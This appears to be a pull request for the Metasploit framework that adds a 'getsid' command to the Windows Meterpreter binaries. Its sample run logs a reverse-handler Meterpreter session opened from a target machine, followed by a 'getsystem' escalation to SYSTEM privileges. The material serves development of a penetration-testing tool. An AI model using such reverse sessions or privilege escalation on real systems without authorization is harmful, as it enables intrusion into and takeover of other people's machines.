Update meterpreter_bins to 0.0.11

This adds support for the `getsid` command in the Windows Meterpreter binaries.

## Sample run
```
msf exploit(handler) > exploit

[*] Started reverse handler on 10.1.10.40:8000 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 10.1.10.36
[*] Meterpreter session 2 opened (10.1.10.40:8000 -> 10.1.10.36:49262) at 2014-11-12 07:20:04 +1000

meterpreter > getsid
Server SID: S-1-5-21-2676972102-3618304068-1989523545-1000
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.sys.config.is_system?
=> false
>> exit
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getsid
Server SID: S-1-5-18
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.sys.config.is_system?
=> true
```

## Verification

- [x] Make sure that `getsid` appears in the help menu.
- [x] Make sure `getsid` works.

The validation of the `is_system?` function in IRB is optional IMHO.